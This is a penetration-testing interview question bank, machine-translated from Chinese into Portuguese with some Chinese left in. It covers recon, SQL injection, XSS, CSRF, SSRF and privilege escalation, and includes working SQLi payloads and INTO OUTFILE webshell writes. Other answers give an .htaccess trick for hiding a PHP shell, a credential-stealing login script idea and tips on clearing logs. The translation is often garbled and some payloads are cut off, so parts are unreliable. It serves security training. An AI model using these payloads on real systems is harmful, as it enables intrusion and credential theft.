Resumo das perguntas da entrevista sobre testes de penetração (com análise das respostas + materiais de apoio)

Nota: Todos os materiais foram compilados em PDFs, e as perguntas e respostas da entrevista serão atualizadas continuamente, pois de qualquer maneira é impossível cobrir todas as perguntas da entrevista.

1. Fluxo de ideias

1. Coleta de informações

a. Informações sobre o servidor (ip real, tipo de sistema, versão, porta aberta, WAF, etc.)

b. Impressão digital do site (incluindo cms, cdn, certificado, etc.), registros de DNS

c. informações whois, nome, arquivamento, e-mail, verificação de retorno de telefone (caixa de correio perdida no banco de dados do assistente social, preparação do assistente social, etc.)

e. Coleção de nomes de subdomínios, estações secundárias, segmento C, etc.

f. Google hackeando pesquisa direcionada, arquivos PDF, versão de middleware, verificação de senha fraca, etc.

g. Faça a varredura da estrutura de diretórios do site, explosão de plano de fundo, banner do site, arquivos de teste, backup e outros vazamentos de arquivos confidenciais, etc.

h. Protocolo de transmissão, vulnerabilidades comuns, exp, código-fonte do github, etc.

2. Mineração de vulnerabilidades

a. Navegue no site para ver sua escala, funções, características, etc.

b. Faça a varredura de portas, senhas fracas, diretórios, etc., e execute a detecção de vulnerabilidades nas portas correspondentes, como rsync, sangrando coração, mysql, ftp, senhas fracas ssh, etc.

c. XSS, injeção de SQL, upload, injeção de comando, CSRF, detecção de segurança de cookies, informações confidenciais, transmissão de dados de comunicação, cracking de força bruta, upload arbitrário de arquivos, acesso não autorizado, acesso não autorizado, passagem de diretório, inclusão de arquivos, ataque de repetição (bombardeio de SMS ), detecção de vulnerabilidade do servidor e, finalmente, uso de ferramentas de verificação ausentes, etc.

3. Exploração de vulnerabilidades e escalonamento de privilégios

a. escalonamento de privilégios mysql, escalonamento de privilégios serv-u, escalonamento de privilégios oracle

b. Escalação de privilégios de estouro do Windows

c, vaca suja do Linux, escalonamento de vulnerabilidade do kernel e

4. Limpar dados de teste e relatório de saída

Limpe e resuma logs e dados de teste
, produza um relatório de teste de penetração e anexe um plano de reparo

5. Teste novamente

Verifique e descubra novas vulnerabilidades, gere relatórios, arquive

Dois, o problema

1. Quando você testa uma estação, o que você acha que deveria ser feito primeiro?

  • coletar mensagem

a. Obtenha as informações whois do nome de domínio, obtenha o endereço de e-mail, nome e número de telefone do registrante, etc., jogue-os no banco de dados do assistente social para ver se há alguma senha vazada e, em seguida, tente fazer login em segundo plano com a senha vazada. Use o endereço de e-mail como palavra-chave para colocá-lo no mecanismo de pesquisa. Use as informações associadas pesquisadas para descobrir outros endereços de e-mail e obter contas sociais comuns. Assistentes sociais encontram contas sociais, que podem descobrir o hábito do administrador de definir senhas. Use as informações existentes para gerar um dicionário especial.

b. Consulte sites do lado do servidor e sites de subdomínios, porque o site principal geralmente é mais difícil, portanto, primeiro verifique se há algum cms comum ou outras lacunas nos sites secundários.

c. Verifique a versão do sistema operacional do servidor e o middleware da web para ver se há vulnerabilidades conhecidas, como IIS, APACHE, NGINX analisando vulnerabilidades

d. Verifique o IP, verifique a porta do endereço IP e detecte a vulnerabilidade da porta correspondente, como rsync, sangrando, mysql, ftp, senha fraca ssh, etc.

e. Faça uma varredura na estrutura de diretórios do site para ver se você consegue atravessá-lo ou vazar arquivos confidenciais, como php probe
f, google hack para detectar ainda mais informações do site, histórico e arquivos confidenciais

  • verificação de vulnerabilidade

Comece a detectar vulnerabilidades, como XSS, XSRF, injeção de sql, execução de código, execução de comandos, acesso não autorizado, leitura de diretório, leitura arbitrária de arquivos, download, inclusão de arquivos, execução remota de comandos, senhas fracas, upload, vulnerabilidades de editor, cracking de força bruta espere

  • explorar

Use os métodos acima para obter webshell ou outras permissões

  • escalonamento de privilégios

Servidor de escalonamento de privilégios, como escalonamento de privilégios udf do mysql no windows, escalonamento de privilégios serv-u, vulnerabilidades de versões inferiores do windows, como iis6, pr, churrasco brasileiro, vulnerabilidade de vaca suja do linux, escalonamento de privilégios de vulnerabilidade de versão do kernel linux, mysql sistema sob Linux Escalonamento de privilégios e escalonamento de privilégios baixos do Oracle

  • limpeza de log

  • Relatório resumido e plano de reparo

2. Qual é a importância de julgar o CMS do site quanto à penetração?

Encontre vulnerabilidades de programas que foram expostas na Internet.

Se for de código aberto, você também pode baixar o código-fonte correspondente para auditoria de código.

3. Para um CMS maduro e relativamente seguro, qual é o significado de verificar o diretório durante a infiltração?

Arquivos confidenciais, verificação de diretório secundário

Operações incorretas do webmaster, como: os arquivos compactados do backup do site, description.txt e o diretório secundário podem armazenar outros sites

4. Contêineres de servidores web comuns.

IIS, Apache, nginx, Lighttpd, Tomcat

5. Ponto de injeção do MySQL, use a ferramenta para escrever uma frase diretamente na estação de destino, quais condições são necessárias?

permissões de root e o caminho absoluto do site.

6. Quais versões do contêiner são atualmente conhecidas por apresentarem vulnerabilidades de análise, com exemplos específicos.

a. IIS 6.0
/xx.asp/xx.jpg "xx.asp" é o nome da pasta

b. Fast-CGI é habilitado por padrão no IIS 7.0/7.5
. Digite /1.php diretamente após o endereço da imagem no URL, e a imagem normal será analisada como php

c. A
versão do Nginx é menor ou igual a 0.8.37 e o método de exploração é o mesmo do IIS 7.0/7.5 e também pode ser explorado quando o Fast-CGI está desabilitado. Código de byte nulo xxx.jpg.php

d. O arquivo carregado pelo Apache é nomeado: test.php.x1.x2.x3, e o Apache julga o sufixo da direita para a esquerda

e.lighttpd xx.jpg/xx.php, incompleto, fique à vontade para adicionar nos comentários, obrigado!

7. Como avaliar manualmente e rapidamente se a estação de destino é um servidor Windows ou Linux?

O Linux diferencia maiúsculas de minúsculas, o Windows não diferencia maiúsculas de minúsculas.

8. Por que existe apenas uma porta 80 aberta para uma estação de banco de dados mysql?

Mudou a porta, não foi digitalizada.

Separação da biblioteca da estação.

A porta 3306 não está aberta ao mundo exterior

9. Várias situações em que 3389 não consegue se conectar

A porta 3389 não está aberta.
A porta foi modificada.
Proteção e interceptação.
Está na rede interna (é necessário encaminhamento de porta)

10. Como escapar dos personagens durante a injeção inovadora?


Bypass de codificação hexadecimal de injeção de caracteres ampla

11. O que devo fazer primeiro quando vejo um editor em uma interface de edição de notícias em segundo plano?

Observe o nome da versão do editor e procure por vulnerabilidades abertas.

12. Obtenha um webshell e descubra que existe um arquivo .htaccess no diretório raiz do site. O que podemos fazer?

Há muitas coisas que podem ser feitas, use o cavalo de rede oculto como exemplo:
inserir

<FilesMatch “xxx.jpg”> Aplicativo SetHandler/x-httpd-php

Arquivos .jpg são analisados ​​em arquivos .php.

É difícil entrar em detalhes sobre outras coisas específicas. É recomendável que você mesmo pesquise as frases.

13. A vulnerabilidade de injeção só pode verificar a senha da conta?

Contanto que a autoridade seja ampla, arraste a biblioteca para envelhecer.

14. O SafeDog rastreará variáveis ​​para descobrir que se trata de um cavalo de Tróia de uma frase?

É baseado no código do recurso, por isso é fácil de contornar, desde que você tenha uma mente ampla, você pode contornar o cachorro até a alegria, mas isso não deve ser estático.

15. O Access verifica os arquivos do banco de dados com o sufixo asp e acessa caracteres ilegíveis.Como realizar o uso local?

Baixe o Thunder, altere diretamente o sufixo para .mdb.

16. Escolha um diretório legível e gravável ao escalar direitos. Por que tentar não usar diretórios com espaços?

Porque a maioria das execuções exp requerem espaços para definir parâmetros

17. Um servidor possui sites A e B, por que adicionar um usuário de teste no background de A para acessar o background de B. Descobriu que o usuário de teste também foi adicionado?

Mesmo banco de dados.

18. Posso iniciar a injeção diretamente encomendando sem usar e ou ou ou xor na hora de injetar?

e/ou/xor, as etapas anteriores 1=1, 1=2 são apenas para julgar se é um ponto de injeção. Se já estiver determinado como um ponto de injeção, você pode salvar essa etapa.

19: Um sistema anti-injeção avisará ao injetar:

O sistema detectou que você tem um comportamento de injeção ilegal.
Seu ip xx.xx.xx.xx foi registrado
Hora: 2016:01-23
Enviar página: test.asp?id=15
Enviar conteúdo: e 1=1

20. Como utilizar este sistema anti-injeção para obter a casca?

Envie uma frase diretamente na URL, para que o site também grave sua frase no arquivo de banco de dados, neste momento você pode tentar encontrar o arquivo de configuração do site e vinculá-lo diretamente à faca de cozinha.

21. Ao acessar caracteres ilegíveis após fazer upload para a Malásia, quais são as soluções?

Altere a codificação no navegador.

22. Qual é o sentido de inspecionar os elementos do ponto de upload?

A limitação do tipo de arquivo carregado de alguns sites é implementada no front-end e, neste momento, à medida que o tipo de upload for aumentado, a limitação pode ser quebrada.

23. O site alvo proíbe usuários cadastrados, basta digitar o nome do usuário na área de recuperação de senha e perguntar: “Este usuário não existe”, como você acha que isso é usado?

Primeiro exploda o nome de usuário e, em seguida, use o nome de usuário digitado para explodir a senha.
Na verdade, alguns sites também avisarão dessa forma no login.
Todos os locais que interagem com o banco de dados podem ter injeções.

24. A estação alvo descobre que o endereço de download de um txt é

http://www.test.com/down/down.php?file=/upwdown/1.txt, o que você acha?

Este é o lendário bug de download! Após file=, tente inserir index.php para baixar o arquivo da página inicial e, em seguida, continue pesquisando os arquivos de configuração de outros sites no arquivo da página inicial, você pode descobrir a senha e o endereço do banco de dados do site.

25. A fornece uma estação de destino e informa que existe um diretório /abc/ no diretório raiz e que existem diretórios editor e admin nesse diretório. Quais são seus pensamentos?

Verifique arquivos e diretórios confidenciais diretamente no diretório secundário do site /abc/.

26. No caso de um shell, como usar xss para obter controle de longo prazo da estação alvo?

Adicione uma seção de js para registrar a senha da conta de login no login em segundo plano e julgar se o login foi bem-sucedido.Se o login for bem-sucedido, registre a senha da conta em um arquivo com um caminho incomum ou envie-a diretamente para o arquivo do seu próprio site . (Este método é adequado para redes valiosas que requerem permissões de controle profundo).

Insira scripts XSS em arquivos que só são acessíveis após login.

27. No local onde a senha do administrador é modificada em segundo plano, a senha original é exibida como *. Como você acha que será possível ler a senha do usuário?

Revise o elemento e altere o atributo de senha na senha para texto para exibi-lo em texto simples

28. Não há proteção na estação alvo, o upload de imagens pode ser acessado normalmente, mas o upload do acesso ao formato de script resultará em 403. Qual o motivo?

Há vários motivos. É possível que a configuração do servidor web grave o diretório de upload até a morte e não execute o script correspondente. Tente alterar o nome do sufixo para ignorar

29. Verifique o elemento para conhecer o software de proteção utilizado pelo site, como você acha que isso é feito?

Quando operações confidenciais são bloqueadas e a proteção não pode ser determinada através das informações da interface, F12 pode ver o conteúdo no nome do corpo HTML, como Patronus.

30. Qual é o propósito de criar uma pasta .zhongzi no servidor win2003?

Pasta oculta, para evitar que o administrador descubra as ferramentas que você carregou.

31. A injeção SQL possui as duas opções de teste a seguir, escolha uma e explique os motivos para não escolher a outra:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
escolha B, na codificação de URL, + representa um espaço, o que pode causar confusão

32. Existe uma vulnerabilidade de injeção de sql no link a seguir, o que você acha dessa injeção deformada?

demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

Para obter a senha através da função de recuperação de senha fornecida pelo fabricante. As vulnerabilidades de autenticação mais comuns são

1) Ataque de fixação de sessão

2) Phishing de cookies

Contanto que você obtenha uma Sessão ou um Cookie, você poderá falsificar a identidade do usuário. A vulnerabilidade do Captcha existe em

1) Captcha permite quebra de força bruta

2) O código de verificação pode ser contornado por Javascript ou alterando o pacote

37. Circule os itens que podem apresentar problemas nas conversas a seguir e marque os possíveis problemas.

obtenha /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host: .com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh- CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referente:http://
****.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890 =1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=
Conexão Verdadeira:keep-alive

Se você tiver permissão de gravação, use INTO OUTFILE para construir uma instrução de consulta conjunta para redirecionar a saída da consulta para um arquivo de sistema, para que você possa gravá-la no WebShell. Use sqlmap –os-shell O princípio é o mesmo que o um acima para obter diretamente um Shell, que é mais eficiente. Obtenha a conta e a senha do administrador do site construindo uma instrução de consulta conjunta, em seguida, verifique o plano de fundo para fazer login em segundo plano e, em seguida, carregue o Shell em segundo plano alterando o pacote e upload.

38. Fornecer um site. Como fazer um teste de penetração? Sob a premissa de obter autorização por escrito.

39, sqlmap, como injetar um ponto de injeção?

1) Se for um modelo get, diretamente, sqlmap -u "como URL de ponto".2
) Se for um tipo de postagem como ponto, você pode usar sqlmap -u "URL de ponto de injeção" --data="post parâmetro"
3) Se for um cookie, X-Forwarded-For, etc., quando puder acessá-lo, use burpsuite para capturar o pacote, substitua o local de injeção por um número, coloque no arquivo e depois sqlmap - r "endereço do arquivo"

40. nmap, várias maneiras de digitalizar

41. Quantos tipos de injeção de SQL?

1) Injeção de erro
2) Injeção do tipo Bool
3) Injeção de atraso
4) Injeção de byte largo

42. Quais são as funções para injeção de erros? 10

1)e extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】 2
)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version ),0x7e),1)
4).geometrycollection()select from test where id=1 e geometriacollection((select from(selectfrom(select user())a)b));
5).multipoint() selecione do teste onde id=1 e multipoint((select from(select from(select user())a)b));
6).polygon() selecione do teste onde id=1 e polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 e multipolygon((select from(select from(select user())a)b));
8).linestring() selecione do teste onde id=1 e linestring((select from(select from(select user())a)b));
9).multilinestring() selecione do teste onde id=1 e multilinestring((select from(select from(select user())a)b));
10).exp() selecione do teste onde id=1 e exp(~(select * from

43. Como avaliar a injeção atrasada?

if(ascii(substr(“olá”, 1, 1))=104, sleep(5), 1)

44. O que a injeção às cegas e a injeção retardada têm em comum?

É um julgamento personagem por personagem

45. Como obter o webshell de um site? Carregar, editar modelos em segundo plano, arquivos de gravação de injeção sql, execução de comandos, execução de código, algumas vulnerabilidades de cms foram expostas, como o fundo dedecms pode criar arquivos de script diretamente, o plug-in de upload do wordpress contém arquivos de script, arquivos zip, etc.

46. ​​​​Quais são as funções da injeção de sql para escrever arquivos?

selecione 'uma frase' no arquivo de saída 'caminho'
selecione 'uma frase' no arquivo de despejo 'caminho'
selecione '' no arquivo de despejo 'd:\wwwroot\baidu.com\nvhack.php';

47. Como prevenir a CSRF?

1) Verifique o referenciador
2) Verifique
os detalhes do token: CNode: Node.js Professional Chinese Community

48. Quais são as vulnerabilidades do owasp?

1) Métodos de proteção de injeção de SQL:
2) Autenticação de identidade inválida e gerenciamento de sessão
3) Ataque de script entre sites XSS
4) Referência direta a objetos inseguros
5) Erros de configuração de segurança
6) Vazamento de informações confidenciais
7) Falta de controle de acesso em nível funcional
8 ) CSRF de falsificação de solicitação entre sites
9) Uso de componentes com vulnerabilidades conhecidas
10) Redirecionamentos e encaminhamentos não validados

49. Método de proteção contra injeção SQL?

1) Use uma API segura
2) Escape dos caracteres especiais de entrada
3) Use uma lista de permissões para padronizar o método de verificação de entrada
4) Controle a entrada do cliente e não permita a entrada de caracteres especiais relacionados à injeção SQL
5) Filtro do lado do servidor, escape , substitua e exclua caracteres especiais antes de enviar consultas SQL ao banco de dados.

50. Quais são as funções de execução de código, leitura de arquivos e execução de comandos?

1) Execução de código:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2) Leitura do arquivo:

file_get_contents(),highlight_file(),fopen(),ler
arquivo(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3) Execução de comandos:

sistema(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

51. Além do atributo onerror da tag img, existe alguma outra forma de obter o caminho do administrador?

src especifica um arquivo de script remoto para obter o referenciador

52. Além do atributo onerror da tag img, e o nome do sufixo do atributo src deve terminar com .jpg, como obter o caminho do administrador.

1) O servidor remoto modifica o arquivo de configuração do Apache e configura o arquivo .jpg para analisar AddType application/x-httpd-php .jpg em php

53. Por que o Trojan aspx tem maior autoridade que o asp?

Aspx usa tecnologia .net. O IIS não oferece suporte por padrão e ASP é apenas uma linguagem de script. Ao invadir, o cavalo de Tróia do ASP geralmente tem autoridade de convidado... O cavalo de Tróia do APSX geralmente tem autoridade de usuário.

54. Como contornar o waf?

Método de conversão de maiúsculas e minúsculas
Caracteres interferentes/!/
codificação base64 unicode hex url ascll vários
parâmetros

55. Como escrever webshell no servidor?

Várias vulnerabilidades de upload
mysql tem permissão de gravação, use a instrução sql para escrever
o método shell http put

56. Portas comuns em testes de penetração

a. Classe da Web (vulnerabilidade da Web/diretório sensível) vulnerabilidade de componente comum de terceiros struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

b. Classe de banco de dados (verificar senhas fracas)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

c. Classe de serviço especial (classe/vulnerabilidade de execução de comando/não autorizada)

443 SSL心zang滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

d. Tipos de portas comumente usados ​​(verificação de senhas fracas/explosão de portas)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

TODOS, detalhes totais da porta

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心zang滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

3. Do lado de um fornecedor de segurança

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

4. Proteção contra injeção de SQL

1. Use API segura
2. Escape dos caracteres especiais de entrada
3. Use a lista de permissões para padronizar o método de verificação de entrada
4. Controle a entrada do cliente e não permita a entrada de caracteres especiais relacionados à injeção SQL
5. Filtro do lado do servidor, escape, substitua e exclua caracteres especiais antes de enviar ao banco de dados para consultas SQL.
6. Codificação padrão e conjunto de caracteres

Cinco, por que a consulta parametrizada pode impedir a injeção de SQL

princípio:

Usar o servidor de banco de dados de consulta parametrizada não executará o conteúdo do parâmetro como parte do comando sql, ele será executado com o parâmetro após o banco de dados concluir a compilação do comando sql

Simplificando: a razão pela qual a parametrização pode impedir a injeção é que uma instrução é uma instrução, um parâmetro é um parâmetro e o valor de um parâmetro não faz parte da instrução. O banco de dados só é executado de acordo com a semântica da instrução.

6. Ponto de injeção do cabeçalho SQL

UA IP DE COOKIE
DE REFERÊNCIA

7. O que é a aposta cega? Quão cego?

Injeção cega significa que durante o ataque de injeção de SQL o servidor desliga o eco de erro, simplesmente julgamos se há injeção de SQL e exploramos pela alteração do conteúdo retornado pelo servidor. Existem dois métodos de injeção cega: um é verificar se há injeção, verificando se o conteúdo retornado da página está correto (baseado em booleano). Uma é julgar se há injeção (baseada no tempo) através da diferença no tempo de processamento das instruções SQL.Aqui, você pode usar benchmark, sleep e outras funções que causam efeitos de atraso, ou você pode construir uma tabela de consulta conjunta com um grande produto cartesiano.Para atingir o objetivo do atraso.

8. O princípio e a causa raiz da injeção de bytes amplos

1. Princípio de geração

Caso o banco de dados utilize um amplo conjunto de caracteres e este problema não seja considerado na WEB, na camada WEB, como 0XBF27 tem dois caracteres, quando o addlash e magic_quotes_gpc estiverem habilitados no PHP, a aspa simples 0x27 será escapada, então 0xbf27 se tornará 0xbf5c27, e quando os dados entrarem no banco de dados, porque 0XBF5C é outro caractere, o símbolo de escape será "comido" pelo bf anterior, e as aspas simples podem ser escapadas disso e podem ser usadas para fechar a declaração.

2. Onde codificar

3. Causa raiz

character_set_client (o conjunto de caracteres do cliente) e character_set_connection (o conjunto de caracteres da camada de conexão) são diferentes ou funções de conversão como iconv e mb_convert_encoding são usadas incorretamente.

4. Soluções

Unifique os conjuntos de caracteres usados ​​por bancos de dados, aplicativos web e sistemas operacionais para evitar diferenças na análise. É melhor defini-los como UTF-8. Ou escape adequadamente dos dados, como o uso de mysql_real_escape_string+mysql_set_charset.

5. Como usar apenas atualização no SQL

Primeiro entenda esse SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

A injeção é alcançada se este SQL for modificado para

a. Modifique o valor da página inicial para http://xxx.net', userlevel='3

Então a instrução SQL se torna

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel é o nível do usuário

b. Modifique o valor da senha para mypass)' WHERE username='admin'#

Então a instrução SQL se torna

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c. Depois de modificar o valor do id para 'OR nomedeusuário='admin', a instrução SQL se torna

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

Nove, como escrever SQL shell / o que fazer se as aspas simples forem filtradas

Escreva shell: autoridade root, GPC desativado, conheça a função outfile do caminho do arquivo

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'

http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

injeção de bytes largos

1. O método de substituição de espaços

%0a, %0b, %a0 etc.
/**/ etc. caracteres de comentário
<>

2. Injeção de site Mysql, qual a diferença entre acima de 5.0 e abaixo de 5.0

Abaixo de 5.0, não há tabela de sistema information_schema e é impossível listar nomes, etc., e só pode executar nomes de tabelas violentamente.

Abaixo de 5.0 está a operação única multiusuário e acima de 5.0 está a operação multiusuário.

10. XSS

1. Princípio do XSS

reflexivo

Os códigos podem ser construídos nos dados enviados pelos usuários para execução, de modo a realizar ataques como o roubo de informações do usuário. Os usuários precisam ser induzidos a “clicar” em um link malicioso para que o ataque seja bem-sucedido

Tipo de armazenamento

O XSS armazenado irá “armazenar” os dados inseridos pelo usuário no lado do servidor. Este tipo de XSS tem forte estabilidade.

Tipo de DOM

O XSS formado pela modificação dos nós DOM da página é chamado de XSS baseado em DOM.

2. A diferença entre o tipo DOM e o tipo de reflexão

XSS refletido: ao induzir os usuários a clicar, a carga maliciosa que construímos acionará o XSS. Detecção reflexiva de XSS Cada vez que solicitamos um link com uma carga útil, a página deve conter dados específicos malformados. Tipo DOM: XSS formado pela modificação dos nós DOM da página. XSS baseado em DOM é o XSS gerado pela operação dom por meio do código js, ​​portanto, podemos nem obter os dados malformados correspondentes na resposta da solicitação. A diferença fundamental parece-me ser a diferença no ponto de saída.

3. Tipo DOM e teste automatizado XSS ou teste manual

Ideias de teste manual: Encontre pontos de função como document.write, atribuição innerHTML, atribuição outerHTML, operação window.location, escrita de javascript: post-content, eval, setTimeout, setInterval, etc. Encontre suas variáveis, rastreie até a origem das variáveis ​​para ver se elas são controláveis ​​e se passaram pela função de segurança. Para testes automatizados, consulte o blog do irmão Dao, a ideia é começar pela entrada, observar o processo de transmissão variável e, por fim, verificar se há saída na função perigosa e se há uma função segura no meio. Mas isso requer um analisador javascript, caso contrário, algum conteúdo trazido através da execução js será perdido.

Ao responder a esta pergunta, uma vez que a detecção usual de clientes é basicamente baseada nas funções de diferentes pontos de função, além de experiência e intuição, os diferentes tipos de métodos de detecção XSS não são, na verdade, muito subdivididos e padronizados. O método de detecção, então a resposta é uma droga. . .

4. Como encontrar rapidamente a localização XSS

5. Sugestões sobre como corrigir XSS

Verificação do ponto de entrada: verifique a legalidade dos dados inseridos pelo usuário, use filtro para filtrar caracteres confidenciais ou escape de código e verifique o formato de tipos específicos de dados. As verificações nos pontos de entrada são melhor implementadas no lado do servidor.

Verificação do ponto de saída: quando a variável é enviada para a página HTML, o conteúdo de saída é codificado e escapado. Quando a variável é gerada em HTML, ela é HTMLEncoded. Se for gerada no script Javascript, é JavascriptEncoded. Coloque as variáveis ​​que usam JavascriptEncode entre aspas e escapem de caracteres perigosos, para que a parte dos dados não possa escapar das aspas e se tornar parte do código. Você também pode usar uma abordagem mais restritiva, usando codificação hexadecimal para todos os caracteres não alfanuméricos. Além disso, deve-se notar que nos navegadores, a análise de HTML será priorizada em relação à análise de Javascript, e o método de codificação também precisa ser considerado com cuidado.Para diferentes pontos de saída, nossos métodos de defesa contra XSS podem ser diferentes, o que pode ser discutido em artigos futuros Faça um resumo.

Além disso, existe HTTPOnly para limitar o sequestro de cookies.

6. Condições de produção de worms XSS

Em circunstâncias normais, uma delas é que a página que gera o ponto XSS não pertence à própria página, e a página que gera comportamento interativo entre os usuários pode causar a geração do Worm XSS.
XSS armazenado não é necessariamente necessário

11. CSRF

1. Princípio do CSRF

CSRF é um ataque de falsificação de solicitação entre sites, iniciado pelo cliente, porque não há confirmação se o usuário inicia voluntariamente quando a operação chave é executada

2. Defesa

Verifique
o token de adição do referenciador

3. Faça uma comparação horizontal entre o token e o referenciador, quem possui o nível de segurança mais alto?

O nível de segurança do token é maior, pois nenhum servidor pode obter o referenciador e se pular de HTTPS para HTTP, o referenciador não será enviado. E o referenciador pode ser customizado em algumas versões do FLASH. Mas para o token, ele deve ser aleatório o suficiente e não vazar. (princípio da imprevisibilidade)

4. De que ponto de vista verificar o referenciador? Se sim, como evitar o problema

Para a verificação do referenciador no cabeçalho, um é um referenciador vazio e o outro é uma filtragem ou detecção de referenciador imperfeita. Para evitar esse tipo de problema, na lista branca de verificação, as regras regulares devem ser bem escritas.

5. Para o token, qual aspecto receberá atenção no teste do token e qual aspecto do token será testado?

Para citar uma resposta de um idoso:

O ataque ao token, um é o ataque a si mesmo, o teste de repetição é único, as regras de criptografia são analisadas, se o método de verificação está correto, etc., e o outro é a aquisição do mesmo combinada com o vazamento de informações vulnerabilidade, combinada com o lançamento de um ataque combinado. O vazamento de informações é
possível É cache, log, get, e também é possível usar cross-site.
Muitos logins de salto dependem de tokens. Há uma brecha de salto e cruzamento reflexivo site que pode ser combinado com sequestro de login.
Além disso, os tokens também podem ser descritos em combinação com outros serviços. Como pode ser contornado se a segurança e o design não forem bons, como pegar envelopes vermelhos e similares

11. SSRF

SSRF (Server-Side Request Forgery: Server-Side Request Forgery) é uma falha de segurança construída por um invasor para formar uma solicitação iniciada pelo servidor. Normalmente, os ataques SSRF têm como alvo sistemas internos que são inacessíveis pela rede externa. (Por ser iniciado pelo servidor, pode solicitar o sistema interno conectado a ele, mas isolado da rede externa)

A maioria das razões para a formação do SSRF é que o servidor fornece a função de obter dados de outras aplicações do servidor sem filtrar e restringir o endereço de destino. Por exemplo, obtenha o conteúdo de texto da página da web a partir do endereço URL especificado, carregue a imagem no endereço especificado, baixe-a e assim por diante.

1. Monitoramento

Método de verificação da vulnerabilidade SSRF:

